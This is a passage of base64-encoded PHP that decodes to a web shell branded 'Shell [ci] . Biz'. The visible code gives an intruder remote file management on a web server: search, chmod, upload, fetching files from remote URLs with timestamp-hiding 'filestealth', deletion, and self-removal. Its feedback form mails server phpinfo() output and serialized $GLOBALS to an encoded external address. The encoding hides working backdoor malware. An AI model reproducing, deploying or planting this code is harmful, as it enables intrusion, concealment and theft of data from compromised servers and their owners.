KfQppZiAoJGFjdCA9PSAiZnNidWZmIikKewogJGFycl9jb3B5ID0gJHNlc3NfZGF0YVsiY29weSJdOwogJGFycl9jdXQgPSAkc2Vzc19kYXRhWyJjdXQiXTsKICRhcnIgPSBhcnJheV9tZXJnZSgkYXJyX2NvcHksJGFycl9jdXQpOwogaWYgKGNvdW50KCRhcnIpID09IDApIHtlY2hvICI8Y2VudGVyPjxiPkJ1ZmZlciBpcyBlbXB0eSE8L2I+PC9jZW50ZXI+Ijt9CiBlbHNlIHtlY2hvICI8Yj5GaWxlLVN5c3RlbSBidWZmZXI8L2I+PGJyPjxicj4iOyAkbHNfYXJyID0gJGFycjsgJGRpc3BfZnVsbHBhdGggPSBUUlVFOyAkYWN0ID0gImxzIjt9Cn0KaWYgKCRhY3QgPT0gInNlbGZyZW1vdmUiKQp7CiBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpCiB7CiAgaWYgKHVubGluayhfX0ZJTEVfXykpIHtAb2JfY2xlYW4oKTsgZWNobyAiVGhhbmtzIGZvciB1c2luZyBTaGVsbCBbY2ldIC4gQml6Ii4kc2h2ZXIuIiEiOyBrMXI0ZXhpdCgpOyB9CiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBkZWxldGUgIi5fX0ZJTEVfXy4iITwvYj48L2NlbnRlcj4iO30KIH0KIGVsc2UKIHsKICBpZiAoIWVtcHR5KCRybmRjb2RlKSkge2VjaG8gIjxiPkVycm9yOiBpbmNvcnJlY3QgY29uZmltYXRpb24hPC9iPiI7fQogICRybmQgPSByYW5kKDAsOSkucmFuZCgwLDkpLnJhbmQoMCw5KTsKICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9c2VsZnJlbW92ZT48Yj5TZWxmLXJlbW92ZTogIi5fX0ZJTEVfXy4iIDxicj48Yj5BcmUgeW91IHN1cmU/PGJyPkZvciBjb25maXJtYXRpb24sIGVudGVyIFwiIi4kcm5kLiJcIjwvYj46Jm5ic3A7PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cm5kY29kZSB2YWx1ZT1cIiIuJHJuZC4iXCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1Ym1pdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJZRVNcIj48L2Zvcm0+IjsKIH0KfQppZiAoJGFjdCA9PSAidXBkYXRlIikgeyRyZXQgPSBrMXI0X2dldHVwZGF0ZSghISRjb25maXJtdXBkYXRlKTsgZWNobyAiPGI+Ii4kcmV0LiI8L2I+IjsgaWYgKHN0cmlzdHIoJHJldCwibmV3IHZlcnNpb24iKSkge2VjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9XCJsb2NhdGlvbi5ocmVmPSciLiRzdXJsLiJhY3Q9dXBkYXRlJmNvbmZpcm11cGRhdGU9MSc7XCIgdmFsdWU9XCJVcGRhdGUgbm93XCI+Ijt9fQppZiAoJGFjdCA9PSAiZmVlZGJhY2siKQp7CiAkc3VwcG1haWwgPSBiYXNlNjRfZGVjb2RlKCJjMmhsYkd3MGMzQmhiVUJuYldGcGJDNWpiMjA9Iik7CiBpZiAoIWVtcHR5KCRzdWJtaXQpKQogewogICR0aWNrZXQgPSBzdWJzdHIobWQ1KG1pY3JvdGltZSgpK3JhbmQoMSwxMDAwKSksMCw2KTsKICAkYm9keSA9ICJTaGVsbCBbY2ldIC4gQml6Ii4kc2h2ZXIuIiBmZWVkYmFjayAjIi4kdGlja2V0LiJcbk5hbWU6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKS4iXG5FLW1haWw6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19lbWFpbCkuIlxuTWVzc2FnZTpcbiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iXG5cbklQOiAiLiRSRU1PVEVfQUREUjsKICBpZiAoIWVtcHR5KCRmZGJrX3JlZikpCiAgewogICAkdG1wID0gQG9iX2dldF9jb250ZW50cygpOwogICBvYl9jbGVhbigpOwogICBwaHBpbmZvKCk7CiAgICRwaHBpbmZvID0gYmFzZTY0X2VuY29kZShvYl9nZXRfY29udGVudHMoKSk7CiAgIG9iX2NsZWFuKCk7CiAgIGVjaG8gJHRtcDsKICAgJGJvZHkgLj0gIlxuIi4icGhwaW5mbygpOiAiLiRwaHBpbmZvLiJcbiIuIlwkR0xPQkFMUz0iLmJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRHTE9CQUxTKSkuIlxuIjsKICB9CiAgbWFpbCgkc3VwcG1haWwsIlNoZWxsIFtjaV0gLiBCaXoiLiRzaHZlci4iIGZlZWRiYWNrICMiLiR0aWNrZXQsJGJvZHksIkZST006ICIuJHN1cHBtYWlsKTsKICBlY2hvICI8Y2VudGVyPjxiPlRoYW5rcyBmb3IgeW91ciBmZWVkYmFjayEgWW91ciB0aWNrZXQgSUQ6ICIuJHRpY2tldC4iLjwvYj48L2NlbnRlcj4iOwogfQogZWxzZSB7ZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWZlZWRiYWNrPjxiPkZlZWRiYWNrIG9yIHJlcG9ydCBidWcgKCIuc3RyX3JlcGxhY2UoYXJyYXkoIkAiLCIuIiksYXJyYXkoIlthdF0iLCJbZG90XSIpLCRzdXBwbWFpbCkuIik6PGJyPjxicj5Zb3VyIG5hbWU6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX25hbWVcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKS4iXCI+PGJyPjxicj5Zb3VyIGUtbWFpbDogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZkYmtfZW1haWxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19lbWFpbCkuIlwiPjxicj48YnI+TWVzc2FnZTo8YnI+PHRleHRhcmVhIG5hbWU9XCJmZGJrX2JvZHlcIiBjb2xzPTgwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX2JvZHkpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImZkYmtfcmVmXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkSFRUUF9SRUZFUkVSKS4iXCI+PGJyPjxicj5BdHRhY2ggc2VydmVyLWluZm8gKiA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZkYmtfc2VydmluZlwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj5UaGVyZSBhcmUgbm8gY2hlY2tpbmcgaW4gdGhlIGZvcm0uPGJyPjxicj4qIC0gc3Ryb25nbHkgcmVjb21tZW5kZWQsIGlmIHlvdSByZXBvcnQgYnVnLCBiZWNhdXNlIHdlIG5lZWQgaXQgZm9yIGJ1Zy1maXguPGJyPjxicj5XZSB1bmRlcnN0YW5kIGxhbmd1YWdlczogRW5nbGlzaCwgUnVzc2lhbi48YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiU2VuZFwiPjwvZm9ybT4iO30KfQppZiAoJGFjdCA9PSAic2VhcmNoIikKewogZWNobyAiPGI+U2VhcmNoIGluIGZpbGUtc3lzdGVtOjwvYj48YnI+IjsKIGlmIChlbXB0eSgkc2VhcmNoX2luKSkgeyRzZWFyY2hfaW4gPSAkZDt9CiBpZiAoZW1wdHkoJHNlYXJjaF9uYW1lKSkgeyRzZWFyY2hfbmFtZSA9ICIoLiopIjsgJHNlYXJjaF9uYW1lX3JlZ2V4cCA9IDE7fQogaWYgKGVtcHR5KCRzZWFyY2hfdGV4dF93d28pKSB7JHNlYXJjaF90ZXh0X3JlZ2V4cCA9IDA7fQogaWYgKCFlbXB0eSgkc3VibWl0KSkKIHsKICAkZm91bmQgPSBhcnJheSgpOwogICRmb3VuZF9kID0gMDsKICAkZm91bmRfZiA9IDA7CiAgJHNlYXJjaF9pX2YgPSAwOwogICRzZWFyY2hfaV9kID0gMDsKICAkYSA9IGFycmF5CiAgKAogICAibmFtZSI9PiRzZWFyY2hfbmFtZSwgIm5hbWVfcmVnZXhwIj0+JHNlYXJjaF9uYW1lX3JlZ2V4cCwKICAgInRleHQiPT4kc2VhcmNoX3RleHQsICJ0ZXh0X3JlZ2V4cCI9PiRzZWFyY2hfdGV4dF9yZWd4cCwKICAgInRleHRfd3dvIj0+JHNlYXJjaF90ZXh0X3d3bywKICAgInRleHRfY3MiPT4kc2VhcmNoX3RleHRfY3MsCiAgICJ0ZXh0X25vdCI9PiRzZWFyY2hfdGV4dF9ub3QKICApOwogICRzZWFyY2h0aW1lID0gZ2V0bWljcm90aW1lKCk7CiAgJGluID0gYXJyYXlfdW5pcXVlKGV4cGxvZGUoIjsiLCRzZWFyY2hfaW4pKTsKICBmb3JlYWNoKCRpbiBhcyAkdikge2sxcjRmc2VhcmNoKCR2KTt9CiAgJHNlYXJjaHRpbWUgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc2VhcmNodGltZSw0KTsKICBpZiAoY291bnQoJGZvdW5kKSA9PSAwKSB7ZWNobyAiPGI+Tm8gZmlsZXMgZm91bmQhPC9iPiI7fQogIGVsc2UKICB7CiAgICRsc19hcnIgPSAkZm91bmQ7CiAgICRkaXNwX2Z1bGxwYXRoID0gVFJVRTsKICAgJGFjdCA9ICJscyI7CiAgfQogfQogZWNobyAiPGZvcm0gbWV0aG9kPVBPU1Q+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cIiIuJGRzcGFjdC4iXCI+CjxiPlNlYXJjaCBmb3IgKGZpbGUvZm9sZGVyIG5hbWUpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9uYW1lXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfbmFtZSkrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX25hbWUpLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF9uYW1lX3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfbmFtZV9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIHJlZ2V4cAo8YnI+PGI+U2VhcmNoIGluIChleHBsb2RlIFwiO1wiKTogPC9iPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZWFyY2hfaW5cIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9pbikrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX2luKS4iXCI+Cjxicj48YnI+PGI+VGV4dDo8L2I+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic2VhcmNoX3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCkuIjwvdGV4dGFyZWE+Cjxicj48YnI+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfcmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSByZWdleHAKJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF93d29cIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfd3dvID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSA8dT53PC91PmhvbGUgd29yZHMgb25seQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X2NzXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X2NzID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBjYXM8dT5lPC91PiBzZW5zaXRpdmUKJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9ub3RcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfbm90ID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBmaW5kIGZpbGVzIDx1Pk5PVDwvdT4gY29udGFpbmluZyB0aGUgdGV4dAo8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNlYXJjaFwiPjwvZm9ybT4iOwogaWYgKCRhY3QgPT0gImxzIikgeyRkc3BhY3QgPSAkYWN0OyBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPlNlYXJjaCB0b29rICIuJHNlYXJjaHRpbWUuIiBzZWNzICgiLiRzZWFyY2hfaV9mLiIgZmlsZXMgYW5kICIuJHNlYXJjaF9pX2QuIiBmb2xkZXJzLCAiLnJvdW5kKCgkc2VhcmNoX2lfZiskc2VhcmNoX2lfZCkvJHNlYXJjaHRpbWUsNCkuIiBvYmplY3RzIHBlciBzZWNvbmQpLjwvYj48YnI+PGJyPiI7fQp9CmlmICgkYWN0ID09ICJjaG1vZCIpCnsKICRtb2RlID0gZmlsZXBlcm1zKCRkLiRmKTsKIGlmICghJG1vZGUpIHtlY2hvICI8Yj5DaGFuZ2UgZmlsZS1tb2RlIHdpdGggZXJyb3I6PC9iPiBjYW4ndCBnZXQgY3VycmVudCB2YWx1ZS4iO30KIGVsc2UKIHsKICAkZm9ybSA9IFRSVUU7CiAgaWYgKCRjaG1vZF9zdWJtaXQpCiAgewogICAkb2N0ZXQgPSAiMCIuYmFzZV9jb252ZXJ0KCgkY2htb2Rfb1siciJdPzE6MCkuKCRjaG1vZF9vWyJ3Il0/MTowKS4oJGNobW9kX29bIngiXT8xOjApLigkY2htb2RfZ1siciJdPzE6MCkuKCRjaG1vZF9nWyJ3Il0/MTowKS4oJGNobW9kX2dbIngiXT8xOjApLigkY2htb2Rfd1siciJdPzE6MCkuKCRjaG1vZF93WyJ3Il0/MTowKS4oJGNobW9kX3dbIngiXT8xOjApLDIsOCk7CiAgIGlmIChjaG1vZCgkZC4kZiwkb2N0ZXQpKSB7JGFjdCA9ICJscyI7ICRmb3JtID0gRkFMU0U7ICRlcnIgPSAiIjt9CiAgIGVsc2UgeyRlcnIgPSAiQ2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO30KICB9CiAgaWYgKCRmb3JtKQogIHsKICAgJHBlcm1zID0gcGFyc2VfcGVybXMoJG1vZGUpOwogICBlY2hvICI8Yj5DaGFuZ2luZyBmaWxlLW1vZGUgKCIuJGQuJGYuIiksICIudmlld19wZXJtc19jb2xvcigkZC4kZikuIiAoIi5zdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkZC4kZikpLC00LDQpLiIpPC9iPjxicj4iLigkZXJyPyI8Yj5FcnJvcjo8L2I+ICIuJGVycjoiIikuIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNobW9kPjx0YWJsZSBhbGlnbj1sZWZ0IHdpZHRoPTMwMCBib3JkZXI9MCBjZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5nPTU+PHRyPjx0ZD48Yj5Pd25lcjwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEiLigkcGVybXNbIm8iXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3hdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvdGQ+PHRkPjxiPkdyb3VwPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3JdIHZhbHVlPTEiLigkcGVybXNbImciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbd10gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbeF0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PHRkPjxiPldvcmxkPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3JdIHZhbHVlPTEiLigkcGVybXNbInciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbd10gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNobW9kX3N1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsKICB9CiB9Cn0KaWYgKCRhY3QgPT0gInVwbG9hZCIpCnsKICR1cGxvYWRtZXNzID0gIiI7CiAkdXBsb2FkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdXBsb2FkcGF0aCk7CiBpZiAoZW1wdHkoJHVwbG9hZHBhdGgpKSB7JHVwbG9hZHBhdGggPSAkZDt9CiBlbHNlaWYgKHN1YnN0cigkdXBsb2FkcGF0aCwtMSkgIT0gIi8iKSB7JHVwbG9hZHBhdGggLj0gIi8iO30KIGlmICghZW1wdHkoJHN1Ym1pdCkpCiB7CiAgZ2xvYmFsICRIVFRQX1BPU1RfRklMRVM7CiAgJHVwbG9hZGZpbGUgPSAkSFRUUF9QT1NUX0ZJTEVTWyJ1cGxvYWRmaWxlIl07CiAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSkpCiAgewogICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30KICAgZWxzZSB7JGRlc3RpbiA9ICR1c2VyZmlsZW5hbWU7fQogICBpZiAoIW1vdmVfdXBsb2FkZWRfZmlsZSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSwkdXBsb2FkcGF0aC4kZGVzdGluKSkgeyR1cGxvYWRtZXNzIC49ICJFcnJvciB1cGxvYWRpbmcgZmlsZSAiLiR1cGxvYWRmaWxlWyJuYW1lIl0uIiAoY2FuJ3QgY29weSBcIiIuJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0uIlwiIHRvIFwiIi4kdXBsb2FkcGF0aC4kZGVzdGluLiJcIiE8YnI+Ijt9CiAgfQogIGVsc2VpZiAoIWVtcHR5KCR1cGxvYWR1cmwpKQogIHsKICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9CiAgIGVsc2UKICAgewogICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOwogICAgJGRlc3RpbiA9ICRkZXN0aW5bY291bnQoJGRlc3RpbiktMV07CiAgICBpZiAoZW1wdHkoJGRlc3RpbikpCiAgICB7CiAgICAgJGkgPSAwOwogICAgICRiID0gIiI7CiAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHtpZiAoJGkgPiAwKSB7JGIgPSAiXyIuJGk7fSAkZGVzdGluID0gImluZGV4Ii4kYi4iLmh0bWwiOyAkaSsrO319CiAgIH0KICAgaWYgKCghZXJlZ2koImh0dHA6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiaHR0cHM6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiZnRwOi8vIiwkdXBsb2FkdXJsKSkpIHtlY2hvICI8Yj5JbmNvcmVjdCB1cmwhPC9iPjxicj4iO30KICAgZWxzZQogICB7CiAgICAkc3QgPSBnZXRtaWNyb3RpbWUoKTsKICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOwogICAgJGR0ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJHN0LDQpOwogICAgaWYgKCEkY29udGVudCkgeyR1cGxvYWRtZXNzIC49ICAiQ2FuJ3QgZG93bmxvYWQgZmlsZSE8YnI+Ijt9CiAgICBlbHNlCiAgICB7CiAgICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkdXBsb2FkcGF0aC4kZGVzdGluKTt9CiAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOwogICAgIGlmICghJGZwKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHdyaXRpbmcgdG8gZmlsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJGRlc3RpbikuIiE8YnI+Ijt9CiAgICAgZWxzZQogICAgIHsKICAgICAgZndyaXRlKCRmcCwkY29udGVudCxzdHJsZW4oJGNvbnRlbnQpKTsKICAgICAgZmNsb3NlKCRmcCk7CiAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkdXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9CiAgICAgfQogICAgfQogICB9CiAgfQogfQogaWYgKCRtaW5pZm9ybSkKIHsKICBlY2hvICI8Yj4iLiR1cGxvYWRtZXNzLiI8L2I+IjsKICAkYWN0ID0gImxzIjsKIH0KIGVsc2UKIHsKICBlY2hvICI8Yj5GaWxlIHVwbG9hZDo8L2I+PGJyPjxiPiIuJHVwbG9hZG1lc3MuIjwvYj48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIuJHN1cmwuImFjdD11cGxvYWQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPgpTZWxlY3QgZmlsZSBvbiB5b3VyIGxvY2FsIGNvbXB1dGVyOiA8aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjxicj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtvcjxicj4KSW5wdXQgVVJMOiA8aW5wdXQgbmFtZT1cInVwbG9hZHVybFwiIHR5cGU9XCJ0ZXh0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHVwbG9hZHVybCkuIlwiIHNpemU9XCI3MFwiPjxicj48YnI+ClNhdmUgdGhpcyBmaWxlIGRpcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj4KRmlsZS1uYW1lIChhdXRvLWZpbGwpOiA8aW5wdXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1Pjxicj48YnI+CjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9dXBsb2FkYXV0b25hbWUgdmFsdWU9MSBpZD1kZjQ+Jm5ic3A7Y29udmVydCBmaWxlIG5hbWUgdG8gbG92ZXJjYXNlPGJyPjxicj4KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiVXBsb2FkXCI+CjwvZm9ybT4iOwogfQp9CmlmICgkYWN0ID09ICJkZWxldGUiKQp7CiAkZGVsZXJyID0gIiI7CiBmb3JlYWNoICgkYWN0Ym94IGFzICR2KQogewogICRyZXN1bHQgPSBGQUxTRTsKICAkcmVzdWx0ID0gZnNfcm1vYmooJHYpOwogIGlmICghJHJlc3VsdCkgeyRkZWxlcnIgLj0gIkNhbid0IGRlbGV0ZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiI8YnI+Ijt9CiB9CiBpZiAoIWVtcHR5KCRkZWxlcnIpKSB7ZWNobyAiPGI+RGVsZXRpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRkZWxlcnI7fQogJGFjdCA9ICJscyI7Cn0KaWYgKCEkdXNlZnNidWZmKQp7CiBpZiAoKCRhY3QgPT0gInBhc3RlIikgb3IgKCRhY3QgPT0gImNvcHkiKSBvciAoJGFjdCA9PSAiY3V0Iikgb3IgKCRhY3QgPT0gInVuc2VsZWN0IikpIHtlY2hvICI8Y2VudGVyPjxiPlNvcnJ5LCBidWZmZXIgaXMgZGlzYWJsZWQuIEZvciBlbmFibGUsIHNldCBkaXJlY3RpdmUgXCJcJHVzZUZTYnVmZlwiIGFzIFRSVUUuPC9jZW50ZXI+Ijt9Cn0KZWxzZQp7CiBpZiAoJGFjdCA9PSAiY29weSIpIHskZXJyID0gIiI7ICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkYWN0Ym94KTsgazFyNF9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7IH0KIGVsc2VpZiAoJGFjdCA9PSAiY3V0IikgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY3V0Il0sJGFjdGJveCk7IGsxcjRfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiO30KIGVsc2VpZiAoJGFjdCA9PSAidW5zZWxlY3QiKSB7Zm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319IGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX0gazFyNF9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7fQogaWYgKCRhY3RlbXB0eWJ1ZmYpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7IGsxcjRfc2Vzc19wdXQoJHNlc3NfZGF0YSk7fQogZWxzZWlmICgkYWN0cGFzdGVidWZmKQogewogICRwc3RlcnIgPSAiIjsKICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpCiAgewogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgIGlmICghZnNfY29weV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9CiAgfQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQogIHsKICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOwogICBpZiAoIWZzX21vdmVfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsKICB9CiAgazFyNF9zZXNzX3B1dCgkc2Vzc19kYXRhKTsKICBpZiAoIWVt